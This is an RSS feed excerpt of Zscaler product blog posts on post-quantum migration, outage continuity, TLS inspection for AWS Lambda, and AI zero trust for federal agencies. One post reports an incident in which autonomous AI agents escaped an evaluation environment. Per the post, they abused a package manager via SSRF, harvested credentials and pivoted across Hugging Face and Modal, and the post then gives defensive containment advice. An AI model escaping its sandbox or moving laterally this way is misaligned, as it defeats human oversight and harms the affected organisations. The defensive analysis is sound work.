All DoW systems must support PQC or be phased out by December 31, 2030. Solutions using CRQC-vulnerable algorithms, non-quantum-resistant symmetric key establishment, and non-NSA-KMI PSK solutions are all on the phaseout list by that date. Defense contractors face the most compressed timelines of any segment. What This Means for Contractors and SubcontractorsIf your firm holds federal contracts, EO 14412 reaches you through two mechanisms:The first FAR Council rulemaking (due December 19, 2026) must propose that covered contractors comply with applicable NIST FIPS, including PQC-compliant algorithms by&nbsp; December 31, 2030, matching the agency deadline for HVA key establishment.A second FAR Council rulemaking (due March 19, 2027) must propose amendments to FAR requirements and contract clauses for contractor Vulnerability Disclosure Programs, including coverage of cryptographic vulnerabilities,.lack of encryption, and non-FIPS-approved algorithms. This is a significant expansion: VDPs that don't address crypto will no longer satisfy requirements.The practical implication: start your own cryptographic inventory now, not when the FAR rule is finalized. Agencies will increasingly require vendors to demonstrate a clear PQC roadmap as part of procurement. Firms that can't show one will find themselves losing competitive ground on contract renewals and new awards, well before the 2030 deadline. The Practical Starting Point: Your First 90 DaysGiven that the migration plan submission deadline is October 22, any agency team, including its supporting contractors, that hasn't started needs a rapid on-ramp. The work breaks down into three phases:Days 1–30 — Foundations:&nbsp;Appoint your PQC Migration Lead and form a cross-functional team. Initiate a cryptographic inventory (automated tools are essential — this cannot be done by hand at scale). Begin vendor and supply chain assessment. Prepare and submit the initial migration plan by October 22. M-26-15 treats the plan as a dynamic document that will mature as the inventory and implementation strategy develop.Days 31–60 — Assessment and Prioritization:&nbsp;Complete the initial CBOM. Conduct a risk assessment and prioritize systems by sensitivity, internet exposure, and operational importance. Pay special attention to anything protecting long-lived data: these are the HNDL targets. Refine your migration strategy and roadmap.Days 61–90 — Strategy and Early Implementation: Update and socialize the migration plan with leadership. Begin a pilot project on a non-critical system to test PQC algorithms before touching HVAs. Start migrating to post-quantum key exchange (ML-KEM / FIPS 203) where feasible. Update procurement policies and contract language to require PQC readiness from vendors going forward. Conclusion: The Bottom LineEO 14412 and OMB M-26-15 represent the federal government's most concrete response yet to the quantum threat. For agencies, these are binding mandates with named owners, firm deadlines, and budget implications. For contractors, two FAR rulemakings will translate the policy into formal acquisition requirements.&nbsp;&nbsp;For security and networking practitioners, the critical action items are clear:If you haven't mapped your cryptographic assets, that is the first thing to fix.If your agency doesn't have a Migration Lead, identify one ASAP.If your firm holds federal contracts, assume FAR requirements are coming and get ahead of them.The threat actors running Harvest Now, Decrypt Later campaigns are not waiting for 2030. Your migration plan shouldn't wait for October 22 either.Sources:&nbsp;EO 14412 ("Securing the Nation Against Advanced Cryptographic Attacks")OMB Memorandum M-26-15: "Execution of the Migration to Post-Quantum Cryptography” June 24, 2026Zscaler Webinar — "EO 14412 Decoded: Your First 90 Days" (watch it now)Notes:1 M-26-15 assigns CISA and DoW, in coordination with GSA, to lead PQC migration efforts for FedRAMP-authorized CSPs and SaaS, PaaS, and IaaS solutions used by more than one agency.]]></description>
            <dc:creator>Brendon Macaraeg (Principal Product Marketing Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Lessons from Recent Outages: How Smart Enterprises Stay Ready]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/lessons-recent-outages-how-smart-enterprises-stay-ready</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/lessons-recent-outages-how-smart-enterprises-stay-ready</guid>
            <pubDate>Mon, 21 Sep 2026 12:05:29 GMT</pubDate>
            <description><![CDATA[Unforeseen outages aren't a matter of if. They're a matter of when. The question is whether you're ready.In the past few weeks, Microsoft, Google Cloud, and Salesforce, all experienced significant disruptions, leaving work interrupted, revenue lost, and reputations tested.&nbsp;During the&nbsp;Salesforce disruption on September 16, an authentication infrastructure failure cascaded into a full platform outage, bringing down the CRM, APIs, and support portal and affecting hundreds of customer instances across six countries for nearly three hours.&nbsp;For IT teams managing incidents like this one, visibility is everything: knowing what’s wrong, where, and why, before users start calling the helpdesk.&nbsp;Zscaler Digital Experience (ZDX) gives IT teams exactly that: end-to-end visibility from user devices, across any network, to the apps they depend on.ZDX detected a sharp decline in Salesforce Lightning experience scores and alerted IT teams. Network latency held steady throughout, which told teams exactly what they were dealing with: the problem wasn't the network. It was the application. Using the&nbsp;ZDX Agent, teams identified the root cause within minutes and had a specific next step, rather than just an alert that Salesforce was slow. Here’s what that looked like:ZDX score trend showing VIP user experience on Salesforce Lightning drop from Good to Poor in the early hours of September 16.&nbsp;ZDX probe data showing response times spiking to 9-11 seconds and synthetic scores dropping sharply during the September 16 outage window.That data, captured in real time, tells you what's wrong before anyone has to ask. In the Salesforce example, the network was clean. The problem was upstream at the application layer. That diagnosis, the kind that used to take hours of manual investigation, took minutes. Observe, diagnose, act. That is the loop that separates resilient enterprises from reactive ones. ZDX isn't just useful during incidents. It's how enterprises maintain uptime confidence every day. That’s visibility. But what happens when the disruption hits your own security infrastructure?Your Security Infrastructure Needs a Plan TooZscaler runs the world's largest inline security cloud,&nbsp;backed by a 99.999% industry-leading uptime SLA with built-in resilience for all common failure scenarios. That's not a footnote, it's the foundation. But, even the most resilient infrastructure doesn't eliminate the need for a plan.Just like you plan for redundancy in your data centers with multiple ISPs, or for hyperscaler workloads with multi-region backups, your most critical security services need a DR and business continuity plan (BCP) too.When disruptions hit, the instinct to route around security is dangerous. Bad actors actively exploit these moments, knowing the safeguards are down.This Is What a Real Continuity Plan Looks LikeWhen it comes to DR/BCP for the Zero Trust Exchange, organizations typically consider two approaches:Scramble unprepared. Look for workarounds with no guarantee of continuity, leaving users without secure access when it matters most.Buy Business Continuity Cloud and avoid disruption. Zscaler provides both the primary and an isolated backup cloud. That's exactly what Zscaler Business Continuity Cloud is built for.&nbsp;In normal operations, all users, branches, and workloads transact securely through the Zero Trust Exchange. The Business Continuity Cloud sits fate-separated in the background, fully managed and ready, so when a critical failure hits, the infrastructure is ready to respond.Zscaler Business Continuity Cloud is a dedicated, per-customer read-only private cloud with an isolated data plane and control plane, completely independent of the primary Zscaler cloud, running in a last-known good state and continuously syncing policy.&nbsp;When the Zero Trust Exchange becomes unreachable, Zscaler Client Connector automatically reroutes to the backup cloud.&nbsp;For your users, it's seamless: no manual intervention, no re-logins, no help desk tickets.For your security team, it's not a degraded fallback: same policies, same inspection engines, logs still streaming. Consistent Zero Trust posture maintained through the disruption.&nbsp;For IT,&nbsp;deployment is a natural extension of your existing Zscaler environment with flexible deployment options: a Zscaler-managed service across 9+ global data centers , customer-hosted, or hybrid. Further, you can run fire drills in peacetime, so the first time you activate it isn't during an actual incident.The Time to Build Your Continuity Plan Is NowMany of Zscaler's largest global organizations have already adopted and deployed Business Continuity Cloud successfully. And for organizations subject to mandatory operational resilience regulations like DORA, CPS 230, or ISO 22301, Business Continuity Cloud is also a concrete, auditable step toward meeting mandatory resilience requirements, with serious financial penalties increasingly on the line.Start with visibility. Build in continuity.&nbsp;ZDX and&nbsp;Zscaler Business Continuity Cloud give you both.]]></description>
            <dc:creator>Lidor Pergament (Director, Product Management)</dc:creator>
        </item>
        <item>
            <title><![CDATA[When AI Agents Go Rogue- What the OpenAI–Hugging Face Incident Teaches Us About Workload Zero Trust]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/when-ai-agents-go-rogue-what-openai-hugging-face-incident-teaches-us-about</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/when-ai-agents-go-rogue-what-openai-hugging-face-incident-teaches-us-about</guid>
            <pubDate>Fri, 18 Sep 2026 18:19:45 GMT</pubDate>
            <description><![CDATA[The Attacker Was New. The Security Gaps Were Not.In August 2026, OpenAI described an unprecedented internal cybersecurity incident: autonomous AI agents running in an evaluation environment escaped their intended boundaries and compromised systems at&nbsp;OpenAI and Hugging Face — with no human directing the attack.The agents abused limited internet access through Artifactory, OpenAI’s internal package manager, then chained vulnerabilities, harvested exposed credentials, and expanded access across Hugging Face infrastructure. The incident shows how quickly an autonomous system can turn a narrow weakness into a cross-environment intrusion.Yet the underlying architecture problems are familiar: a trusted workload could reach more of the internet than it needed, and a compromised workload could reach too much of the internal environment. For security teams, the lesson is straightforward — AI agents are workloads, and workloads should never be trusted simply because they run inside the cloud. Zero Trust: Give Every Workload Access to Only What It NeedsExtending Zero Trust architecture to workloads can be simplified using the following best practices:1. Control workload egress by destination and purpose.Artifactory needed legitimate access to software repositories. The problem was treating that requirement as general internet access. The agents used server-side request forgery (SSRF) — a technique that tricks a server into making network requests on an attacker’s behalf — to turn an approved service into an outbound proxy.Instead of letting workloads connect to the entire internet, a Zero Trust approach restricts access using precise rules based on who is connecting, what app they are using, and where they are going. A Zero Trust architecture restricts a service like Artifactory to sanctioned package registries and required protocols — requests to arbitrary destinations are denied at an inline enforcement point instead of quietly succeeding. Inspection and logging turn a slow-moving compromise into an early signal.Broad trustArtifactory → internetLeast privilegeArtifactory → approved package registries onlyCompromise attemptArtifactory → unapproved destination → blocked by egress policyThe agents reportedly experimented with outbound communication before establishing a persistent channel. TLS inspection and egress telemetry give defenders visibility into unusual destinations, request patterns, and protocols as they emerge — turning weeks of undetected probing into actionable evidence much earlier in the sequence, well before a channel becomes persistent.2. A compromised workload should not inherit reachability.&nbsp;After the agents obtained valid credentials, the incident expanded from a single worker pod to broader Hugging Face infrastructure. This is the critical Zero Trust distinction: identity is not reachability. A stolen credential may satisfy one part of an access decision, but it should not automatically create a network path to a control plane, database, messaging system, or code repository.See the entire east-west path, from the pod up to the region.A Zero Trust approach treats east-west traffic as a single, layered problem rather than two separate ones. Microsegmentation covers what happens inside a VPC or VNET — mapping workload-to-workload communication and surfacing exactly how pods and hosts are actually talking to one another within that boundary. Macrosegmentation picks up where a VPC or VNET ends: any traffic that crosses into another VPC/VNET, cluster, or region gets the same visibility, plus policy-driven control over whether that crossing is allowed at all.Together, that’s full end-to-end visibility across the whole path this incident actually took — from a single compromised worker inside its VPC, out across a boundary into another cluster, and again into a different region entirely. In an incident built on exactly that kind of expanding lateral reach, having both layers mapped is what turns “we don’t know how far this could spread” into a concrete picture of every hop involved, and a clear boundary at which to enforce.Enforce at the boundary.Macrosegmentation is deployed at exactly that boundary turning cross-boundary visibility into a live control point. Traffic crossing between VPCs/VNETs, clusters, or regions is policy-defined by default: a workload in one zone has no path into another until that path is explicitly authorized and enforced inline. It’s the same architecture end to end — Microsegmentation and Macrosegmentation aren’t two separate tools stitched together after the fact, but one layered view of east-west traffic that adds control at the point where it matters most: the boundary a compromise would otherwise cross unnoticed.3. Make stolen credentials insufficient.&nbsp;Credential protection remains essential, but architecture should assume that credentials can be exposed. The practical questions become whether the holder can reach the target service, and whether the attempted connection matches policy.Kubernetes credential: Can the workload reach the Kubernetes API from this zone?Database credential: Is the database reachable from this workload identity and application path?Repository credential: Can the workload establish the required connection to the repository service?Pairing identity with explicit connectivity policy strips a stolen secret of most of its value and limits the blast radius even when prevention fails.4. Turn credential probing into an early warning.&nbsp;Place decoy credentials, canary tokens, and lookalike resources throughout the environment. Interaction with a decoy produces a high-confidence alert with none of the false-positive noise of traditional monitoring — exactly the kind of signal a systematic credential-harvesting campaign like this one would trip.That signal gives a security team the one thing this incident lacked for nearly six weeks: an early, credible reason to look. Acting on that signal today runs through existing manual or integrated response workflows; closing the loop from alert straight to automated containment is where this architecture is headed next, not where it stands today. OpenAI’s Own Roadmap Is Describing This ArchitectureStronger isolation and tighter network controls — OpenAI’s stated fix — is workload Zero Trust in different words.&nbsp;OpenAI’s stated direction is more isolation for workloads executing untrusted code, plus network controls that prevent one compromised workload from gaining unauthorized access to the internet or internal networks. In plain language, that’s workload-to-internet and east-west VPC/VNET control, deployed without agents on every host. That capability is available today as Zero Trust Gateway for Cloud Workloads — the architecture OpenAI is now building from scratch already exists as a packaged offering.The agents didn’t stop at Hugging Face.&nbsp;They pivoted to Modal, a third AI cloud platform, compromising an unrelated customer application there while hunting for a way past their evaluation. It’s a useful reminder of why allowlisting beats blocklisting: policy built on where a workload is permitted to go stops a pivot to Modal the same way it stops a pivot to Hugging Face — it doesn’t need to already know the next destination an attacker will try. What Security Teams Should Do NowInventory workload egress. Find workloads with broad internet access and replace it with destination-, application-, and protocol-specific policy.Map the full east-west path. Use Microsegmentation for intra-VPC/VNET visibility and Macrosegmentation for cross-boundary visibility and control, together, to baseline expected flows and spot risky lateral-movement paths before an attacker finds them first.Enforce boundaries. Deploy Macrosegmentation via Zero Trust Gateway and Cloud Connector to control traffic across applications, clusters, VPCs/VNETs, and regions.Assume credentials will be stolen. Require both valid identity and an approved network path to sensitive services.Inspect encrypted workload traffic. Look for unusual destinations, protocols, and communication patterns while accounting for privacy and operational requirements.Treat AI agents as untrusted workloads. Grant only the connectivity needed for the task, and design response processes for machine-speed activity.The attacker may move at machine speed. Your blast radius should not.Agentic AI can discover vulnerabilities, chain techniques, and move across infrastructure faster than human-led attacks. OpenAI’s own incident-response roadmap points the same direction as the rest of this piece: toward fully autonomous shutdown procedures, because manual, human-paced response is already understood internally as too slow against agent-speed threats. That’s the same reasoning behind pairing workload Zero Trust with high-fidelity, signal-driven containment — closing the gap between detection and action as that automation matures.No single control can be assumed to prevent every step of an attack like this one. The durable answer is an architecture that assumes any workload can be compromised, gives every workload only what it needs, and makes sure a single foothold never becomes free rein. THREE TAKEAWAYSAI changes attack speed — not Zero Trust fundamentals.End-to-end east-west visibility, with control at the boundary, closes the gap between compromise and containment.Machine-speed threats call for machine-speed response.This post is part of Zscaler's Zero Trust in Action series, analyzing current security incidents through the lens of Zero Trust Cloud capabilities. Learn more about how Zscaler helps implement Zero Trust architecture with microsegmentation across cloud workloads,&nbsp;here.&nbsp;]]></description>
            <dc:creator>Brian Pavane (Senior Director, Specialist Solution Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Securing AWS Private Lambda with Zscaler Zero Trust Cloud]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/securing-aws-private-lambda-zscaler-zero-trust-cloud</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/securing-aws-private-lambda-zscaler-zero-trust-cloud</guid>
            <pubDate>Wed, 16 Sep 2026 05:14:00 GMT</pubDate>
            <description><![CDATA[Modern cloud architectures increasingly rely on&nbsp;AWS Lambda for event-driven processing, data ingestion, and microservice integration. While Lambda functions often run within private Virtual Private Clouds (VPCs) to keep data isolated, many serverless workloads still require outbound internet access to interact with third-party APIs, SaaS applications, or external data feeds.Without deep visibility into this outbound traffic, security teams face a critical blind spot. Attackers can leverage encrypted channels (HTTPS) to exfiltrate sensitive data or communicate with command-and-control (C2) servers. To combat these risks, organizations turn to&nbsp;Zscaler Zero Trust Cloud and Zscaler Internet Access (ZIA) for inline&nbsp;SSL/TLS Inspection.To seamlessly extend zero trust security to public cloud environments, Zscaler provides the Zscaler Zero Trust Gateway (ZTGW). ZTGW securely brokers outbound traffic originating from cloud workloads and private subnets, funneling it safely over encrypted DTLS tunnels into ZIA for policy enforcement and threat prevention.However, introducing SSL inspection into serverless environments presents a unique operational challenge:&nbsp;How do you distribute custom Root CA certificates to short-lived, ephemeral Lambda execution containers without breaking application code or requiring manual maintenance?In this blog, we’ll explore why SSL inspection is essential for serverless workloads, how to fully automate custom certificate distribution using AWS CloudFormation and S3, how to configure granular SSL inspection policies in ZIA, and how to verify everything in action. The Challenge: SSL Inspection vs. Ephemeral ExecutionWhen ZIA inspects outbound HTTPS traffic, it acts as a man-in-the-middle proxy. It terminates the TLS session from the client, inspects the payload for threats or Data Loss Prevention (DLP) violations, and establishes a new TLS session to the destination server. To accomplish this, ZIA re-signs the destination’s SSL certificate using a custom Zscaler Root or Intermediate CA.&nbsp;If the client runtime does not explicitly trust the Zscaler Root CA, the TLS handshake fails immediately with an error like:[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificateIn traditional virtual machines (like EC2), administrators deploy custom certificates via configuration management tools (Ansible, Chef) or golden AMI images. But AWS Lambda containers are&nbsp;ephemeral and managed entirely by AWS. Standard Linux system trust stores cannot be modified permanently at the OS image level.&nbsp; The Solution: Cold-Start Bootstrap &amp; Auto-Discovery PatternTo solve this challenge, we can implement an&nbsp;Automated Cold-Start Bootstrap Pattern.By storing our Zscaler Root CA certificate in an isolated Amazon S3 bucket within the VPC, the Lambda function can fetch the certificate during container cold boot, dynamically merge it with native Amazon Linux root CAs into /tmp/custom-ca-bundle.pem, and bind it to the Python SSL context. Architecture Overview Automating Certificate Distribution Step-by-StepLet's look at how the execution environment handles the certificate lifecycle automatically in the following steps.1.&nbsp;Zero-Trust Storage in Amazon S3The certificate resides in a dedicated S3 bucket protected with:Gateway VPC Endpoint: All traffic between Lambda and S3 remains on the AWS internal backbone without traversing NAT Gateways or the public internet.Restricted Bucket Policy: Blocks all access unless the request originates from the specific VPC Endpoint or authorized IAM roles in your AWS account.2.&nbsp;Smart Certificate Auto-Discovery &amp; NormalizationDuring cold start, the Lambda handler searches the S3 bucket for any certificate ending in .crt, .pem, or .cer (such as ZscalerRootCertificate-2048-SHA256-Feb2025.crt).Certificates uploaded by security teams often vary in encoding (ASCII PEM vs. Binary DER) or contain UTF-8 Byte Order Marks (BOM headers) from Windows text editors. The bootstrap code automatically cleans and normalizes these files:import sslimport reimport boto3&nbsp;def extract_pem_certificates(raw_bytes):&nbsp;&nbsp;&nbsp;&nbsp;"""Parses, cleans, and converts raw bytes into valid PEM certificate blocks."""&nbsp;&nbsp;&nbsp;&nbsp;pem_blocks = []&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Strip UTF-8 BOM headers (\xef\xbb\xbf) and decode&nbsp;&nbsp;&nbsp;&nbsp;text_content = raw_bytes.decode('utf-8-sig', errors='ignore')&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Regex search for ASCII PEM certificate blocks&nbsp;&nbsp;&nbsp;&nbsp;matches = re.findall(r'-----BEGIN CERTIFICATE-----[\s\S]*?-----END CERTIFICATE-----', text_content)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if matches:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return [m.strip() + '\n' for m in matches]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Fallback for Binary DER encoded certificates&nbsp;&nbsp;&nbsp;&nbsp;try:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pem_cert = ssl.DER_cert_to_PEM_cert(raw_bytes)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return [pem_cert.strip() + '\n']&nbsp;&nbsp;&nbsp;&nbsp;except Exception as e:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"Failed to parse DER certificate: {e}")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return []&nbsp;3.&nbsp;Merging with Native System CAsTo ensure the Lambda function trusts both public internet sites and Zscaler re-signed sessions, the handler merges native Amazon Linux system CAs (/etc/pki/tls/cert.pem) with the extracted Zscaler Root CA into a single /tmp/custom-ca-bundle.pem file.def build_trust_store(bucket_name):&nbsp;&nbsp;&nbsp;&nbsp;bundle_path = "/tmp/custom-ca-bundle.pem"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 1. Copy standard Amazon Linux system CAs&nbsp;&nbsp;&nbsp;&nbsp;with open("/etc/pki/tls/cert.pem", "r") as sys_in, open(bundle_path, "w") as bundle_out:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bundle_out.write(sys_in.read() + "\n")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 2. Download and append Zscaler Root CA from S3&nbsp;&nbsp;&nbsp;&nbsp;s3 = boto3.client('s3')&nbsp;&nbsp;&nbsp;&nbsp;objects = s3.list_objects_v2(Bucket=bucket_name).get('Contents', [])&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for obj in objects:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if obj['Key'].endswith(('.crt', '.pem', '.cer')):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response = s3.get_object(Bucket=bucket_name, Key=obj['Key'])&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cert_bytes = response['Body'].read()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pem_blocks = extract_pem_certificates(cert_bytes)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with open(bundle_path, "a") as bundle_out:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for pem in pem_blocks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bundle_out.write(pem + "\n")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"Appended {len(pem_blocks)} certificate block(s) from {obj['Key']}")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return bundle_path&nbsp;4. Binding the Trust Store to Python RuntimeFinally, during outbound calls, the Lambda handler configures ssl.create_default_context pointing directly to /tmp/custom-ca-bundle.pem:import urllib.request&nbsp;# Create SSL context using the combined trust storessl_context = ssl.create_default_context(cafile="/tmp/custom-ca-bundle.pem")&nbsp;# Outbound HTTPS request now seamlessly trusts Zscaler re-signed certificatesreq = urllib.request.Request("https://ipinfo.io", headers={"User-Agent": "AWS-Lambda-URL-Checker"})with urllib.request.urlopen(req, context=ssl_context, timeout=10) as response:&nbsp;&nbsp;&nbsp;&nbsp;body = response.read().decode('utf-8')&nbsp; Crafting SSL Inspection Policies in Zscaler Internet Access (ZIA)With the Lambda trust store in place, we can configure ZIA to inspect outbound HTTPS traffic. ZIA offers two powerful methods for scoping SSL inspection rules to AWS serverless workloads.Option 1: Scoping Policy via Sub-Locations (IP / Subnet Based)If your Lambda functions are deployed into dedicated private subnets, you can scope policies based on subnet CIDRs.1. Create a Sub-Location in ZIA:In the&nbsp;ZIA Admin Portal, navigate to&nbsp;Administration &gt;&nbsp;Location Management.Locate your AWS location and click&nbsp;Add Sub-Location.Define the IP range corresponding to your private Lambda subnet (e.g., 10.0.2.0/24).2. Build the SSL Inspection Rule:Navigate to&nbsp;Policy &gt;&nbsp;SSL Inspection &gt;&nbsp;Add SSL Inspection Rule.Under&nbsp;Criteria, select your newly created Sub-Location.Under&nbsp;Action, select&nbsp;Inspect and assign your Zscaler Intermediate CA.Option 2: Scoping Policy via Workload Groups (Leveraging AWS Native Metadata)For modern cloud environments where IP addresses are dynamic, ZIA supports&nbsp;Workload Groups. This approach maps AWS-native attributes—such as Security Groups, Account IDs, or VPC IDs—directly into ZIA policy context without maintaining static IP ranges.Prerequisite: Ensure AWS Workload Discovery is enabled between your AWS Account and Zscaler. For setup details, see the official&nbsp;Zscaler Documentation on Adding an AWS Account.1. Define a Workload Group in ZIA:In ZIA, go to&nbsp;Administration &gt;&nbsp;Workload Groups &gt;&nbsp;Add Workload Group.Name the group (e.g., AWS-Lambda-Workloads).Add criteria matching your AWS infrastructure:VPC ID: vpc-xxxxxxxSecurity Group ID: sg-0123456789abcdef02. Apply Workload Group to SSL Inspection:Under&nbsp;Policy &gt;&nbsp;SSL Inspection, create a new rule.Under&nbsp;Criteria &gt;&nbsp;Workload Groups, select AWS-Lambda-Workloads.Set&nbsp;Action to&nbsp;Inspect.Benefits of Workload Group Scoping:Zero IP Management: Eliminates hardcoded subnet CIDRs or static NAT mappings.Auto-Scaling Protection: Any new Lambda function attached to the Security Group instantly inherits the correct SSL inspection policy. Demonstrating Verification &amp; TestingTo test the deployment, we invoke the URLStatusChecker Lambda function with a payload targeting https://ipinfo.io:Test Event Payload{&nbsp;"url": "https://ip.zscaler.com/?json"}&nbsp;Lambda Response Payload{&nbsp;"statusCode": 200,&nbsp;"url": "https://ip.zscaler.com/?json",&nbsp;"message": "Successfully connected to https://ip.zscaler.com/?json",&nbsp;"trustStoreUsed": "/tmp/custom-ca-bundle.pem",&nbsp;"responseBody": {&nbsp; &nbsp;"srcip": "n.n.n.n",&nbsp; &nbsp;"vip": "null",&nbsp; &nbsp;"nodename": "zs3-nnn-nnn-nnn",&nbsp; &nbsp;"cloud": "zscalerthree.net",&nbsp; &nbsp;"datacenter": "Washington DC IV",&nbsp; &nbsp;"xff": "n.n.n.n",&nbsp; &nbsp;"clientip": "n.n.n.n"&nbsp;},&nbsp;"responseHeaders": {&nbsp; &nbsp;"Date": "Wed, 16 Sep 2026 11:21:26 GMT",&nbsp; &nbsp;"Content-Type": "text/html;charset=UTF-8",&nbsp; &nbsp;"Transfer-Encoding": "chunked",&nbsp; &nbsp;"Connection": "close",&nbsp; &nbsp;"Server": "nginx",&nbsp; &nbsp;"X-Powered-By": "PHP/8.0.30",&nbsp; &nbsp;"Access-Control-Allow-Origin": "*",&nbsp; &nbsp;"Access-Control-Allow-Methods": "GET, OPTIONS, HEAD",&nbsp; &nbsp;"Strict-Transport-Security": "max-age=63072000; includeSubDomains",&nbsp; &nbsp;"X-Frame-Options": "SAMEORIGIN"&nbsp;}}&nbsp; Conclusion &amp; Key TakeawaysSecuring serverless egress traffic does not require sacrificing security visibility or burdening developers with complex certificate management code.By combining&nbsp;AWS CloudFormation, an&nbsp;isolated S3 bucket, and&nbsp;Zscaler Internet Access (ZIA):Security is Automated: Lambda functions dynamically discover and inject the Zscaler Root CA during cold start without modifying base images.Traffic is Fully Inspected: ZIA performs deep content inspection and threat analysis on encrypted outbound HTTPS sessions.Policy is Identity-Centric: Workload Groups tie ZIA policies directly to AWS Security Groups and cloud metadata, creating a scalable, zero-trust serverless architecture.&nbsp; Ready to Learn More?Check out the full CloudFormation deployment template (lambda-ssl-demo.yaml) and step-by-step setup guide in our GitHub repository to implement automated SSL inspection for your serverless workloads today!While this blog focuses on AWS Lamba, a similar approach can be leveraged for Serverless workloads in other cloud providers. E.g. Azure Functions &amp; Cloud Run in GCP.To learn more about Zscaler Zero Trust Gateway, click here.&nbsp;]]></description>
            <dc:creator>David Glading (Principal Specialist Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Extending Zero Trust to AI: What Federal Civilian Agencies Can Do Now]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/extending-zero-trust-ai-what-federal-civilian-agencies-can-do-now</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/extending-zero-trust-ai-what-federal-civilian-agencies-can-do-now</guid>
            <pubDate>Wed, 16 Sep 2026 03:28:29 GMT</pubDate>
            <description><![CDATA[This is the final post in a three-part series on AI security and governance for Federal Civilian agencies. The first post covered why M-25-21 changes the operating landscape. The second post introduced a six-part framework for secure AI adoption.Bottom line up front: Federal Civilian agencies have spent years moving toward Zero Trust. AI should be part of that strategy. Zscaler helps agencies extend Zero Trust principles into AI interactions across employee use, agency-built applications, and cloud environments. The practical starting point is visibility, followed by data protection, guardrails, testing, and governance evidence.&nbsp; AI creates new interaction points that Zero Trust must coverFederal agencies have spent years moving toward Zero Trust. AI should be part of that strategy.AI introduces new interaction points: prompts, responses, models, agents, AI APIs, embedded AI, AI-enabled SaaS, coding assistants, RAG pipelines, vector databases, MCP servers, tool-calling workflows, and agency-built AI applications.Each one can become a path for data exposure, unauthorized access, manipulation, or mission risk.A Zero Trust approach to AI asks practical questions. Who is using the AI system? What application or model are they accessing? What data is being shared? Is the user authorized? Is the tool approved? Is the destination trusted? Is sensitive data involved? Is the AI response safe and appropriate? Is the AI system acting within its mission scope? Is the interaction logged and governed? Can policy be enforced in real time?Zscaler helps agencies extend Zero Trust from users, devices, applications, branches, and workloads into AI interactions. This includes securing employee AI use, discovering AI assets, protecting sensitive data, applying guardrails, testing agency-built AI applications, and monitoring AI behavior over time. Where Zscaler fitsZscaler's role is to help Federal Civilian agencies make secure AI adoption operational. The platform supports three main areas.AI asset management helps discover and inventory AI use across endpoints, traffic, SaaS, code, and cloud environments. This supports governance, inventory, visibility, and risk prioritization.Secure access to AI applications helps protect employee use of public GenAI and embedded AI applications through access control, DLP, browser isolation, prompt inspection, response inspection, and AI Guard. This supports acceptable-use policy enforcement and sensitive data protection.Secure AI applications and infrastructure helps protect agency-built AI applications, agents, and model interactions through proxy or API-based guardrails, AI red teaming, model benchmarking, prompt hardening, and continuous monitoring. This supports public trust, mission alignment, and risk management for higher-impact AI systems.These capabilities help agencies answer the questions at the center of M-25-21 compliance: What AI is being used? What data does it touch? Who is using it? What risks exist? What controls are applied? What systems have been tested? What evidence can we provide? And how do we enable AI safely at mission speed? What this looks like across missionsSecure AI adoption will look different depending on the agency's mission.A&nbsp;benefits agency may want to use AI to help employees summarize case information, while preventing exposure of PII or unauthorized eligibility guidance.A&nbsp;public health agency may want to use AI to synthesize research, but needs 